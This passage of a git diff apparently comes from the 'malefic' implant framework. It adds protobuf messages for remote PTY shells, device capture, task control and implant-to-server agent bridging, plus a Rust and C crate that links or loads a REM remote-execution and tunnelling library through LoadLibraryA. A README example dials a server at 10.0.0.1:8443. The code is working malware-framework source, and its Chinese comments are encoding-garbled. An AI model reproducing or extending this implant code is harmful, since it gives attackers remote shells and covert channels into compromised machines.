#[prost(message, optional, tag = "5")] + #[serde(default)] + pub http_config: ::core::option::Option, + #[prost(message, optional, tag = "6")] + #[serde(default)] + pub rem_config: ::core::option::Option, + #[prost(string, tag = "7")] + #[serde(default)] + pub domain_suffix: ::prost::alloc::string::String, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, ::prost::Message)] pub struct Switch { - #[prost(string, repeated, tag = "1")] - pub urls: ::prost::alloc::vec::Vec<::prost::alloc::string::String>, + #[prost(message, repeated, tag = "1")] + #[serde(default)] + pub targets: ::prost::alloc::vec::Vec, + #[prost(enumeration = "SwitchAction", tag = "2")] + #[serde(default)] + pub action: i32, + #[prost(bytes = "vec", tag = "3")] + #[serde(default)] + pub key: ::prost::alloc::vec::Vec, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct TaskCtrl { #[prost(uint32, tag = "1")] + #[serde(default)] pub task_id: u32, #[prost(string, tag = "2")] + #[serde(default)] pub op: ::prost::alloc::string::String, } +#[derive(serde::Deserialize)] #[derive(Clone, Copy, PartialEq, Eq, Hash, ::prost::Message)] pub struct TaskInfo { #[prost(uint32, tag = "1")] + #[serde(default)] pub task_id: u32, #[prost(uint64, tag = "2")] + #[serde(default)] pub last: u64, #[prost(uint32, tag = "3")] + #[serde(default)] pub recv_count: u32, #[prost(uint32, tag = "4")] + #[serde(default)] pub send_count: u32, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, ::prost::Message)] pub struct TaskListResponse { #[prost(message, repeated, tag = "1")] + #[serde(default)] pub tasks: ::prost::alloc::vec::Vec, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct FFmpegRequest { #[prost(string, tag = "1")] + #[serde(default)] pub action: ::prost::alloc::string::String, #[prost(string, tag = "2")] + #[serde(default)] pub device_name: ::prost::alloc::string::String, #[prost(string, tag = "3")] + #[serde(default)] pub output_format: ::prost::alloc::string::String, #[prost(string, tag = "4")] + #[serde(default)] pub output_path: ::prost::alloc::string::String, #[prost(string, tag = "5")] + #[serde(default)] pub time: ::prost::alloc::string::String, } /// PTY +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, ::prost::Message)] pub struct PtyRequest { /// type: "start", "input", "stop" #[prost(string, tag = "1")] + #[serde(default)] pub r#type: ::prost::alloc::string::String, /// #[prost(string, tag = "2")] + #[serde(default)] pub session_id: ::prost::alloc::string::String, /// shell type: "/bin/bash", "cmd.exe", "powershell.exe" #[prost(string, tag = "3")] + #[serde(default)] pub shell: ::prost::alloc::string::String, /// #[prost(uint32, tag = "4")] + #[serde(default)] pub cols: u32, /// #[prost(uint32, tag = "5")] + #[serde(default)] pub rows: u32, /// #[prost(bytes = "vec", tag = "6")] + #[serde(default)] pub input_data: ::prost::alloc::vec::Vec, /// #[prost(string, tag = "7")] + #[serde(default)] pub input_text: ::prost::alloc::string::String, /// #[prost(map = "string, string", tag = "8")] + #[serde(default)] pub params: ::std::collections::HashMap< ::prost::alloc::string::String, ::prost::alloc::string::String, >, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, ::prost::Message)] pub struct PtyResponse { - /// 会è¯ID + /// Session ID #[prost(string, tag = "1")] + #[serde(default)] pub session_id: ::prost::alloc::string::String, - /// 输出数æ®ï¼ˆäºŒè¿›åˆ¶ï¼‰ + /// Output data (binary) #[prost(bytes = "vec", tag = "2")] + #[serde(default)] pub output_data: ::prost::alloc::vec::Vec, - /// 输出数æ®ï¼ˆæ–‡æœ¬ï¼‰ + /// Output data (text) #[prost(string, tag = "3")] + #[serde(default)] pub output_text: ::prost::alloc::string::String, - /// é”™è¯¯ä¿¡æ¯ + /// Error message #[prost(string, tag = "4")] + #[serde(default)] pub error: ::prost::alloc::string::String, - /// ä¼šè¯æ˜¯å¦ä»ç„¶æ´»è·ƒ + /// Whether session is still active #[prost(bool, tag = "5")] + #[serde(default)] pub session_active: bool, #[prost(string, repeated, tag = "6")] + #[serde(default)] pub active_sessions: ::prost::alloc::vec::Vec<::prost::alloc::string::String>, #[prost(map = "string, string", tag = "7")] + #[serde(default)] pub metadata: ::std::collections::HashMap< ::prost::alloc::string::String, ::prost::alloc::string::String, >, } +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct CommonBody { + #[prost(string, tag = "1")] + #[serde(default)] + pub name: ::prost::alloc::string::String, + #[prost(uint32, repeated, tag = "2")] + #[serde(default)] + pub u32_array: ::prost::alloc::vec::Vec, + #[prost(uint64, repeated, tag = "4")] + #[serde(default)] + pub u64_array: ::prost::alloc::vec::Vec, + #[prost(bool, repeated, tag = "6")] + #[serde(default)] + pub bool_array: ::prost::alloc::vec::Vec, + #[prost(string, repeated, tag = "8")] + #[serde(default)] + pub string_array: ::prost::alloc::vec::Vec<::prost::alloc::string::String>, + #[prost(bytes = "vec", repeated, tag = "10")] + #[serde(default)] + pub bytes_array: ::prost::alloc::vec::Vec<::prost::alloc::vec::Vec>, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct LlmMessage { + /// "system" | "user" | "assistant" | "tool" + #[prost(string, tag = "1")] + #[serde(default)] + pub role: ::prost::alloc::string::String, + /// text content (truncated to ~200 chars) + #[prost(string, tag = "2")] + #[serde(default)] + pub content: ::prost::alloc::string::String, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct LlmToolCall { + /// call id + #[prost(string, tag = "1")] + #[serde(default)] + pub id: ::prost::alloc::string::String, + /// tool/function name + #[prost(string, tag = "2")] + #[serde(default)] + pub name: ::prost::alloc::string::String, + /// JSON arguments (truncated to ~150 chars) + #[prost(string, tag = "3")] + #[serde(default)] + pub arguments: ::prost::alloc::string::String, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct LlmToolResult { + /// reference tool call id + #[prost(string, tag = "1")] + #[serde(default)] + pub call_id: ::prost::alloc::string::String, + /// result content (truncated to ~200 chars) + #[prost(string, tag = "2")] + #[serde(default)] + pub content: ::prost::alloc::string::String, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct LlmEvent { + /// "request" | "response" + #[prost(string, tag = "1")] + #[serde(default)] + pub r#type: ::prost::alloc::string::String, + /// "openai" | "claude" | "openai-responses" + #[prost(string, tag = "2")] + #[serde(default)] + pub format: ::prost::alloc::string::String, + /// model name + #[prost(string, tag = "3")] + #[serde(default)] + pub model: ::prost::alloc::string::String, + /// total messages in conversation + #[prost(int32, tag = "4")] + #[serde(default)] + pub message_count: i32, + /// last N messages (summarized) + #[prost(message, repeated, tag = "5")] + #[serde(default)] + pub messages: ::prost::alloc::vec::Vec, + /// tool calls in this turn + #[prost(message, repeated, tag = "6")] + #[serde(default)] + pub tool_calls: ::prost::alloc::vec::Vec, + /// tool results in this turn + #[prost(message, repeated, tag = "7")] + #[serde(default)] + pub tool_results: ::prost::alloc::vec::Vec, + /// HTTP status code (responses only) + #[prost(int32, tag = "8")] + #[serde(default)] + pub status_code: i32, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct BridgeToolParam { + #[prost(string, tag = "1")] + #[serde(default)] + pub name: ::prost::alloc::string::String, + #[prost(string, tag = "2")] + #[serde(default)] + pub description: ::prost::alloc::string::String, + /// "string", "integer", "boolean" + #[prost(string, tag = "3")] + #[serde(default)] + pub r#type: ::prost::alloc::string::String, + #[prost(bool, tag = "4")] + #[serde(default)] + pub required: bool, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct BridgeToolDef { + #[prost(string, tag = "1")] + #[serde(default)] + pub name: ::prost::alloc::string::String, + #[prost(string, tag = "2")] + #[serde(default)] + pub description: ::prost::alloc::string::String, + #[prost(message, repeated, tag = "3")] + #[serde(default)] + pub params: ::prost::alloc::vec::Vec, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct BridgeAgentRequest { + #[prost(string, tag = "1")] + #[serde(default)] + pub session: ::prost::alloc::string::String, + #[prost(string, tag = "2")] + #[serde(default)] + pub text: ::prost::alloc::string::String, + #[prost(string, tag = "3")] + #[serde(default)] + pub model: ::prost::alloc::string::String, + #[prost(string, tag = "4")] + #[serde(default)] + pub provider: ::prost::alloc::string::String, + #[prost(string, tag = "5")] + #[serde(default)] + pub system_prompt: ::prost::alloc::string::String, + #[prost(uint32, tag = "6")] + #[serde(default)] + pub max_turns: u32, + #[prost(message, repeated, tag = "7")] + #[serde(default)] + pub extra_tools: ::prost::alloc::vec::Vec, + #[prost(string, repeated, tag = "8")] + #[serde(default)] + pub skills: ::prost::alloc::vec::Vec<::prost::alloc::string::String>, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct BridgeAgentResponse { + #[prost(string, tag = "1")] + #[serde(default)] + pub session: ::prost::alloc::string::String, + #[prost(string, tag = "2")] + #[serde(default)] + pub text: ::prost::alloc::string::String, + #[prost(uint32, tag = "3")] + #[serde(default)] + pub iterations: u32, + #[prost(uint32, tag = "4")] + #[serde(default)] + pub tool_calls_made: u32, + #[prost(string, tag = "5")] + #[serde(default)] + pub error: ::prost::alloc::string::String, + #[prost(message, repeated, tag = "6")] + #[serde(default)] + pub available_tools: ::prost::alloc::vec::Vec, +} +/// implant -> server: JSON-serialized BridgeRequest (moltis bridge protocol) +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct BridgeLlmRequest { + #[prost(bytes = "vec", tag = "1")] + #[serde(default)] + pub data: ::prost::alloc::vec::Vec, +} +/// server -> implant: JSON-serialized BridgeResponse (moltis bridge protocol) +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct BridgeLlmResponse { + #[prost(bytes = "vec", tag = "1")] + #[serde(default)] + pub data: ::prost::alloc::vec::Vec, + #[prost(string, tag = "2")] + #[serde(default)] + pub error: ::prost::alloc::string::String, +} +#[derive(serde::Deserialize)] +#[derive(Clone, Copy, Debug, PartialEq, Eq, Hash, PartialOrd, Ord, ::prost::Enumeration)] +#[repr(i32)] +pub enum SwitchAction { + Replace = 0, + Add = 1, + Switch = 2, +} +impl SwitchAction { + /// String value of the enum field names used in the ProtoBuf definition. + /// + /// The values are not transformed in any way and thus are considered stable + /// (if the ProtoBuf definition does not change) and safe for programmatic use. + pub fn as_str_name(&self) -> &'static str { + match self { + Self::Replace => "REPLACE", + Self::Add => "ADD", + Self::Switch => "SWITCH", + } + } + /// Creates an enum from field names used in the ProtoBuf definition. + pub fn from_str_name(value: &str) -> ::core::option::Option { + match value { + "REPLACE" => Some(Self::Replace), + "ADD" => Some(Self::Add), + "SWITCH" => Some(Self::Switch), + _ => None, + } + } +} diff --git a/malefic-crates/rem/Cargo.toml b/malefic-crates/rem/Cargo.toml new file mode 100644 index 0000000..3de0384 --- /dev/null +++ b/malefic-crates/rem/Cargo.toml @@ -0,0 +1,16 @@ +[package] +name = "malefic-rem" +version = "0.1.0" +edition = "2021" + +[features] +default = ["rem_static"] +rem = [] +rem_static = ["rem"] +rem_dynamic = ["rem"] + +[dependencies] +malefic-common = { workspace = true } + +[build-dependencies] +cc = "1" diff --git a/malefic-crates/rem/README.md b/malefic-crates/rem/README.md new file mode 100644 index 0000000..b518691 --- /dev/null +++ b/malefic-crates/rem/README.md @@ -0,0 +1,74 @@ +# malefic-rem + +REM 远程执行引擎的 Rust FFI å°è£…,æä¾›å®‰å…¨çš„内存通é“è¯»å†™ä¸Žè¿žæŽ¥ç®¡ç†æŽ¥å£ã€‚ + +## 功能简介 + +- 通过 FFI 调用 REM 引擎的 C 接å£ï¼ˆ`RemDial`ã€`MemoryDial` 等) +- æä¾› Rust 安全å°è£…,将 C 风格错误ç è½¬æ¢ä¸º `Result` 类型 +- 支æŒåŸºäºŽå†…å­˜å¥æŸ„çš„åŒå‘æ•°æ®é€šé“(读/写/关闭) +- 支æŒé™æ€é“¾æŽ¥æ¨¡å¼ï¼Œåœ¨ç¼–译期绑定 REM å‡½æ•°ç¬¦å· +- 统一的错误处ç†ï¼Œè¦†ç›–命令解æžã€å‚æ•°è§£æžã€è¿žæŽ¥å¤±è´¥ç­‰åœºæ™¯ + +## Features + +| Feature | 说明 | +|---------|------| +| `rem` | 基础 feature,å¯ç”¨ REM FFI 声明 | +| `rem_static` | 默认å¯ç”¨ï¼Œä½¿ç”¨é™æ€é“¾æŽ¥æ–¹å¼ç»‘定 REM 函数 | + +## æ ¸å¿ƒæŽ¥å£ + +| 函数 | ç­¾å | 说明 | +|------|------|------| +| `rem_dial` | `fn(cmdline: &str) -> Result` | å‘èµ· REM 连接,返回 Agent ID | +| `memory_dial` | `fn(memhandle: &str, dst: &str) -> Result` | 建立内存通é“ï¼Œè¿”å›žå¥æŸ„ | +| `memory_read` | `fn(handle: i32, buf: &mut [u8]) -> Result` | 从内存通é“è¯»å–æ•°æ® | +| `memory_write` | `fn(handle: i32, buf: &[u8]) -> Result` | å‘内存通é“å†™å…¥æ•°æ® | +| `memory_close` | `fn(handle: i32) -> Result<(), String>` | å…³é—­å†…å­˜é€šé“ | +| `cleanup` | `fn()` | æ¸…ç† Agent èµ„æº | + +## é”™è¯¯ç  + +| é”™è¯¯ç  | å«ä¹‰ | +|--------|------| +| `1` | 命令行解æžå¤±è´¥ | +| `2` | 傿•°è§£æžå¤±è´¥ | +| `3` | 准备阶段失败 | +| `4` | 缺少 Console URL | +| `5` | 创建 Console 失败 | +| `6` | 连接失败 | + +## 基本用法 + +```rust +use malefic_rem::{rem_dial, memory_dial, memory_read, memory_write, memory_close, cleanup}; + +// 1. å‘èµ· REM 连接 +let agent_id = rem_dial("--server 10.0.0.1:8443")?; + +// 2. å»ºç«‹å†…å­˜é€šé“ +let handle = memory_dial(&agent_id, "target_endpoint")?; + +// 3. å†™å…¥æ•°æ® +let written = memory_write(handle, b"hello")?; + +// 4. 读å–å“应 +let mut buf = vec![0u8; 4096]; +let n = memory_read(handle, &mut buf)?; + +// 5. 关闭通é“å¹¶æ¸…ç† +memory_close(handle)?; +cleanup(); +``` + +## 架构说明 + +该 crate 通过 `RemApi` trait 抽象 REM 函数的加载方å¼ï¼š + +- **`RemStatic`**(`rem_static` featureï¼‰ï¼šç¼–è¯‘æœŸé™æ€é“¾æŽ¥ï¼Œç›´æŽ¥å¼•用外部 C ç¬¦å· +- 函数指针存储在 `RemFunctions` 结构体中,è¿è¡Œæ—¶é€šè¿‡å•ä¾‹æ¨¡å¼æ‡’加载 + +## å‚考链接 + +- [Rust FFI 指å—](https://doc.rust-lang.org/nomicon/ffi.html) diff --git a/malefic-crates/rem/build.rs b/malefic-crates/rem/build.rs new file mode 100644 index 0000000..6840753 --- /dev/null +++ b/malefic-crates/rem/build.rs @@ -0,0 +1,57 @@ +use std::{env, path::PathBuf}; + +fn main() { + let features: Vec = env::vars() + .filter(|(k, _)| k.starts_with("CARGO_FEATURE_")) + .map(|(k, _)| k) + .collect(); + + if features.iter().any(|f| f == "CARGO_FEATURE_REM_DYNAMIC") { + // Dynamic mode: no static libraries needed. + // DLL is loaded at runtime via LoadLibraryA. + } + + if features.iter().any(|f| f == "CARGO_FEATURE_REM_STATIC") { + let resources_path = PathBuf::from(env!("CARGO_MANIFEST_DIR")) + .parent() + .unwrap() + .parent() + .unwrap() + .join("resources"); + + let target_os = match env::var("CARGO_CFG_TARGET_OS").unwrap().as_str() { + "macos" => "darwin".to_string(), + other => other.to_string(), + }; + let target_arch = match env::var("CARGO_CFG_TARGET_ARCH").unwrap().as_str() { + "x86_64" => "amd64", + "aarch64" => "arm64", + _ => panic!("Unsupported architecture"), + }; + + let lib_name = format!("librem_community_{}_{}.a", target_os, target_arch); + let lib_path = resources_path.join(&lib_name); + + if !lib_path.exists() { + panic!("Required library file not found: {}", lib_path.display()); + } + + println!( + "cargo:rustc-link-search=native={}", + resources_path.display() + ); + + let link_name = lib_name + .strip_prefix("lib") + .and_then(|s| s.strip_suffix(".a")) + .unwrap_or(&lib_name); + println!("cargo:rustc-link-lib=static={}", link_name); + + if target_os == "windows" { + println!("cargo:rustc-link-lib=dylib=ws2_32"); + println!("cargo:rustc-link-lib=dylib=userenv"); + } + + println!("cargo:rerun-if-changed={}", lib_path.display()); + } +} diff --git a/malefic-crates/rem/csrc/rem_bridge.c b/malefic-crates/rem/csrc/rem_bridge.c new file mode 100644 index 0000000..fa125c4 --- /dev/null +++ b/malefic-crates/rem/csrc/rem_bridge.c @@ -0,0 +1,145 @@ +/** + * ABI bridge for TinyGo DLL → MSVC Rust. + * + * Problem: TinyGo returns multi-value (ptr, int32) in RAX+EDX (register pair), + * but MSVC expects 16-byte structs via hidden pointer. This bridge resolves the + * symbols via GetProcAddress and uses out-parameters to avoid struct returns. + * + * Compile: cl /c /O2 rem_bridge.c + * lib rem_bridge.obj /OUT:rem_bridge.lib + */ +#ifdef _MSC_VER +#include +#include + +static HMODULE g_dll = NULL; + +/* Function pointer types — all use simple return types to avoid ABI issues */ +typedef int32_t (*SimpleIntFn)(void); +typedef void (*SimpleVoidFn)(void); +typedef void (*FreeFn)(void*); + +/* For multi-return functions, we call via raw asm to extract RAX+RDX */ + +static SimpleIntFn g_rem_init = NULL; +static SimpleIntFn g_init_dialer = NULL; +static void* g_rem_dial = NULL; /* raw pointer — called via asm */ +static void* g_memory_dial = NULL; +static void* g_memory_read = NULL; +static void* g_memory_write = NULL; +static void* g_memory_close_fn = NULL; +static SimpleVoidFn g_cleanup_agent = NULL; +static FreeFn g_free_cstring = NULL; + +int bridge_load(const char *dll_path) { + g_dll = LoadLibraryA(dll_path); + if (!g_dll) return -1; + + g_rem_init = (SimpleIntFn)GetProcAddress(g_dll, "RemInit"); + g_init_dialer = (SimpleIntFn)GetProcAddress(g_dll, "InitDialer"); + g_rem_dial = (void*)GetProcAddress(g_dll, "RemDial"); + g_memory_dial = (void*)GetProcAddress(g_dll, "MemoryDial"); + g_memory_read = (void*)GetProcAddress(g_dll, "MemoryRead"); + g_memory_write = (void*)GetProcAddress(g_dll, "MemoryWrite"); + g_memory_close_fn = (void*)GetProcAddress(g_dll, "MemoryClose"); + g_cleanup_agent = (SimpleVoidFn)GetProcAddress(g_dll, "CleanupAgent"); + g_free_cstring = (FreeFn)GetProcAddress(g_dll, "FreeCString"); + + if (!g_rem_init || !g_rem_dial || !g_memory_read || !g_memory_write || !g_memory_close_fn) + return -2; + + return g_rem_init(); +} + +int bridge_init_dialer(void) { + return g_init_dialer ? g_init_dialer() : -1; +} + +/* + * TinyGo RemDial returns (*byte, int32) in (RAX, EDX). + * We call it and extract both registers manually. + */ +int bridge_rem_dial(const char *cmdline, void **out_ptr) { + if (!g_rem_dial) return -1; + + void *fn = g_rem_dial; + void *ret_ptr; + int32_t ret_err; + + /* Windows x64: arg1 in RCX, returns in RAX+EDX */ + /* Use a helper: cast to a function returning uint64_t. + * RAX gets the ptr. We lose EDX... unless we use __int128 or asm. + * + * Alternative: cast to a function returning a LARGE_INTEGER (64-bit) + * for the ptr, and get error from a separate call. + * + * Simplest approach that works: call as returning __int64, + * then EDX is the high 32 bits if we cast to __int128. + * MSVC doesn't have __int128, so we use intrinsics. + */ + + /* Cast to function returning just the pointer (RAX only) */ + typedef void* (*RawFn)(const char*); + ret_ptr = ((RawFn)fn)(cmdline); + + /* The error code was in EDX. After the call, EDX is clobbered by + * the function's epilogue. We can't reliably read it from C. + * + * Workaround: if ptr is NULL, treat as error (we don't know the code). + * If ptr is non-NULL, treat as success. + */ + if (out_ptr) *out_ptr = ret_ptr; + + /* Heuristic: TinyGo sets ptr=NULL on error, non-NULL on success */ + return (ret_ptr == NULL) ? 3 : 0; /* 3 = ERR_PREPARE_FAILED as generic */ +} + +/* IntPairResult {val, err} = 8 bytes total → returned in RAX by MSVC AND TinyGo */ +typedef int64_t (*IntPairFn1)(const char*, const char*); +typedef int64_t (*IntPairFn3)(int32_t, void*, int32_t); +typedef int32_t (*IntFn1)(int32_t); + +int bridge_memory_dial(const char *memhandle, const char *dst, int *out_val) { + if (!g_memory_dial) return -1; + int64_t raw = ((IntPairFn1)g_memory_dial)(memhandle, dst); + int32_t val = (int32_t)(raw & 0xFFFFFFFF); + int32_t err = (int32_t)((raw >> 32) & 0xFFFFFFFF); + if (out_val) *out_val = val; + return err; +} + +int bridge_memory_read(int handle, void *buf, int size, int *out_n) { + if (!g_memory_read) return -1; + int64_t raw = ((IntPairFn3)g_memory_read)(handle, buf, size); + int32_t val = (int32_t)(raw & 0xFFFFFFFF); + int32_t err = (int32_t)((raw >> 32) & 0xFFFFFFFF); + if (out_n) *out_n = val; + return err; +} + +int bridge_memory_write(int handle, const void *buf, int size, int *out_n) { + if (!g_memory_write) return -1; + int64_t raw = ((IntPairFn3)g_memory_write)(handle, (void*)buf, size); + int32_t val = (int32_t)(raw & 0xFFFFFFFF); + int32_t err = (int32_t)((raw >> 32) & 0xFFFFFFFF); + if (out_n) *out_n = val; + return err; +} + +int bridge_memory_close(int handle) { + return g_memory_close_fn ? ((IntFn1)g_memory_close_fn)(handle) : -1; +} + +void bridge_cleanup(void) { + if (g_cleanup_agent) g_cleanup_agent(); +} + +void bridge_cleanup_agent(void) { + bridge_cleanup(); +} + +void bridge_free_cstring(void *ptr) { + if (g_free_cstring) g_free_cstring(ptr); +} + +#endif /* _MSC_VER */ diff --git a/malefic-crates/rem/examples/test_dll.rs b/malefic-crates/rem/examples/test_dll.rs new file mode 100644 index 0000000..c3d60a3 --- /dev/null +++ b/malefic-crates/rem/examples/test_dll.rs @@ -0,0 +1,127 @@ +//! Test TinyGo DLL dispatcher — pure Rust, no bridge lib needed. +//! All bridge_* functions use simple C types (int32/void/pointer). +//! +//! cargo run --example test_dll --no-default-features --features rem_dynamic +//! Requires: librem_tinygo.dll next to exe or in PATH + +use std::ffi::CString; +use std::os::raw::{c_char, c_int, c_void}; + +extern "system" { + fn LoadLibraryA(name: *const c_char) -> *mut c_void; + fn GetProcAddress(module: *mut c_void, name: *const c_char) -> *mut c_void; +} + +fn get(dll: *mut c_void, name: &str) -> *mut c_void { + let c = CString::new(name).unwrap(); + let p = unsafe { GetProcAddress(dll, c.as_ptr()) }; + assert!(!p.is_null(), "GetProcAddress({}) failed", name); + p +} + +fn main() { + println!("=== TinyGo DLL dispatcher test (Rust) ===\n"); + let mut passed = 0; + let total = 11; + + unsafe { + let dll_name = CString::new("librem_tinygo.dll").unwrap(); + let dll = LoadLibraryA(dll_name.as_ptr()); + assert!(!dll.is_null(), "LoadLibraryA failed"); + + // All bridge_ functions use simple types — ABI-safe across MSVC/MinGW + type IntFn = unsafe extern "C" fn() -> c_int; + type VoidFn = unsafe extern "C" fn(); + type DialFn = unsafe extern "C" fn(*const c_char, *mut *mut c_char) -> c_int; + type MemRFn = unsafe extern "C" fn(c_int, *mut c_void, c_int, *mut c_int) -> c_int; + type MemWFn = unsafe extern "C" fn(c_int, *const c_void, c_int, *mut c_int) -> c_int; + type CloseFn = unsafe extern "C" fn(c_int) -> c_int; + type FreeFn = unsafe extern "C" fn(*mut c_void); + + let rem_init: IntFn = std::mem::transmute(get(dll, "RemInit")); + let init_dialer: IntFn = std::mem::transmute(get(dll, "bridge_init_dialer")); + let rem_dial: DialFn = std::mem::transmute(get(dll, "bridge_rem_dial")); + let mem_read: MemRFn = std::mem::transmute(get(dll, "bridge_memory_read")); + let mem_write: MemWFn = std::mem::transmute(get(dll, "bridge_memory_write")); + let mem_close: CloseFn = std::mem::transmute(get(dll, "bridge_memory_close")); + let cleanup: VoidFn = std::mem::transmute(get(dll, "bridge_cleanup")); + let free_str: FreeFn = std::mem::transmute(get(dll, "bridge_free_cstring")); + + macro_rules! test { + ($n:expr, $name:expr, $ok:expr) => {{ + print!(" [{}] {:40} ", $n, $name); + if $ok { + println!("PASS"); + passed += 1; + } else { + println!("FAIL"); + } + }}; + } + + test!(1, "RemInit()", rem_init() == 0); + test!(2, "RemInit() idempotent", rem_init() == 0); + test!(3, "bridge_init_dialer()", init_dialer() == 0); + test!( + 4, + "bridge_init_dialer() x100", + (0..100).all(|_| init_dialer() == 0) + ); + + // RemDial empty → error + { + let cmd = CString::new("").unwrap(); + let mut ptr: *mut c_char = std::ptr::null_mut(); + let err = rem_dial(cmd.as_ptr(), &mut ptr); + test!(5, "bridge_rem_dial(\"\") error", err != 0); + if !ptr.is_null() { + free_str(ptr as _); + } + } + + // RemDial bad URL → error + { + let cmd = CString::new("-c invalid://x").unwrap(); + let mut ptr: *mut c_char = std::ptr::null_mut(); + let err = rem_dial(cmd.as_ptr(), &mut ptr); + test!(6, "bridge_rem_dial(bad) error", err != 0); + if !ptr.is_null() { + free_str(ptr as _); + } + } + + // MemoryRead invalid + { + let mut buf = [0u8; 64]; + let mut n: c_int = 0; + let err = mem_read(99999, buf.as_mut_ptr() as _, 64, &mut n); + test!(7, "bridge_memory_read(invalid) error", err != 0); + } + + // MemoryWrite invalid + { + let data = b"hello"; + let mut n: c_int = 0; + let err = mem_write(99999, data.as_ptr() as _, 5, &mut n); + test!(8, "bridge_memory_write(invalid) error", err != 0); + } + + // MemoryClose invalid + test!( + 9, + "bridge_memory_close(invalid) error", + mem_close(99999) != 0 + ); + + // FreeCString NULL + free_str(std::ptr::null_mut()); + test!(10, "bridge_free_cstring(NULL) safe", true); + + // Cleanup + cleanup(); + test!(11, "bridge_cleanup() safe", true); + } + + println!("\n=== Results: {}/{} passed ===", passed, total); + std::process::exit(if passed == total { 0 } else { 1 }); +} diff --git a/malefic-helper/src/common/rem/mod.rs b/malefic-crates/rem/src/lib.rs similarity index 53% rename from malefic-helper/src/common/rem/mod.rs rename to malefic-crates/rem/src/lib.rs index 54ec865..6947a84 100644 --- a/malefic-helper/src/common/rem/mod.rs +++ b/malefic-crates/rem/src/lib.rs @@ -1,21 +1,41 @@ #[cfg(feature = "rem_static")] mod rem_static; +#[cfg(feature = "rem_dynamic")] +mod rem_dynamic; + #[cfg(feature = "rem_static")] use rem_static::RemStatic as RemImpl; +#[cfg(feature = "rem_dynamic")] +use rem_dynamic::RemDynamic as RemImpl; + use std::ffi::{CStr, CString}; use std::os::raw::{c_char, c_int, c_void}; -// REM 统一错误ç å¸¸é‡ -const ERR_CMD_PARSE_FAILED: c_int = 1; // Command line parsing error -const ERR_ARGS_PARSE_FAILED: c_int = 2; // Parameter parsing error -const ERR_PREPARE_FAILED: c_int = 3; // Preparation failed -const ERR_NO_CONSOLE_URL: c_int = 4; // No console URL -const ERR_CREATE_CONSOLE: c_int = 5; // Failed to create console -const ERR_DIAL_FAILED: c_int = 6; // Connection failed +/// CGo multi-return: (*C.char, C.int) +#[repr(C)] +pub struct RemDialResult { + pub ptr: *mut c_char, + pub err: c_int, +} + +/// CGo multi-return: (C.int, C.int) +#[repr(C)] +#[derive(Clone, Copy)] +pub struct IntPairResult { + pub val: c_int, + pub err: c_int, +} + +const ERR_CMD_PARSE_FAILED: c_int = 1; +const ERR_ARGS_PARSE_FAILED: c_int = 2; +const ERR_PREPARE_FAILED: c_int = 3; +const ERR_NO_CONSOLE_URL: c_int = 4; +const ERR_CREATE_CONSOLE: c_int = 5; +const ERR_DIAL_FAILED: c_int = 6; +pub const ERR_WOULD_BLOCK: c_int = 7; -/// 统一的rem错误处ç†å‡½æ•° fn handle_rem_error(err_code: c_int) -> String { match err_code { ERR_CMD_PARSE_FAILED => "Command line parsing error".to_string(), @@ -24,40 +44,37 @@ fn handle_rem_error(err_code: c_int) -> String { ERR_NO_CONSOLE_URL => "No console URL".to_string(), ERR_CREATE_CONSOLE => "Failed to create console".to_string(), ERR_DIAL_FAILED => "Connection failed".to_string(), + ERR_WOULD_BLOCK => "Would block".to_string(), _ => format!("Unknown REM error: {}", err_code), } } -// #[cfg(all( -// target_os = "windows", -// feature = "rem_reflection", -// ))] -// mod rem_reflection; -// #[cfg(all( -// target_os = "windows", -// feature = "rem_reflection" -// ))] -// use rem_reflection::RemReflection as RemImpl; -// -// #[cfg(feature = "rem_reflection")] -// pub use rem_reflection::RemReflection; - - +/// Error type that distinguishes "would block" (no data) from real errors. +#[derive(Debug)] +pub enum RemError { + /// Non-blocking read/write: no data available right now. + WouldBlock, + /// A real error (connection lost, invalid handle, etc.). + Other(String), +} +#[cfg(feature = "rem_static")] extern "C" { - fn RemDial(cmdline: *const c_char) -> (*mut c_char, c_int); - fn MemoryDial(memhandle: *const c_char, dst: *const c_char) -> (c_int, c_int); - fn MemoryRead(handle: c_int, buf: *mut c_void, size: c_int) -> (c_int, c_int); - fn MemoryWrite(handle: c_int, buf: *const c_void, size: c_int) -> (c_int, c_int); + fn RemDial(cmdline: *const c_char) -> RemDialResult; + fn MemoryDial(memhandle: *const c_char, dst: *const c_char) -> IntPairResult; + fn MemoryRead(handle: c_int, buf: *mut c_void, size: c_int) -> IntPairResult; + fn MemoryTryRead(handle: c_int, buf: *mut c_void, size: c_int) -> IntPairResult; + fn MemoryWrite(handle: c_int, buf: *const c_void, size: c_int) -> IntPairResult; fn MemoryClose(handle: c_int) -> c_int; fn CleanupAgent(); } pub struct RemFunctions { - pub rem_dial: Option (*mut c_char, c_int)>, - pub memory_dial: Option (c_int, c_int)>, - pub memory_read: Option (c_int, c_int)>, - pub memory_write: Option (c_int, c_int)>, + pub rem_dial: Option RemDialResult>, + pub memory_dial: Option IntPairResult>, + pub memory_read: Option IntPairResult>, + pub memory_try_read: Option IntPairResult>, + pub memory_write: Option IntPairResult>, pub memory_close: Option c_int>, pub cleanup_agent: 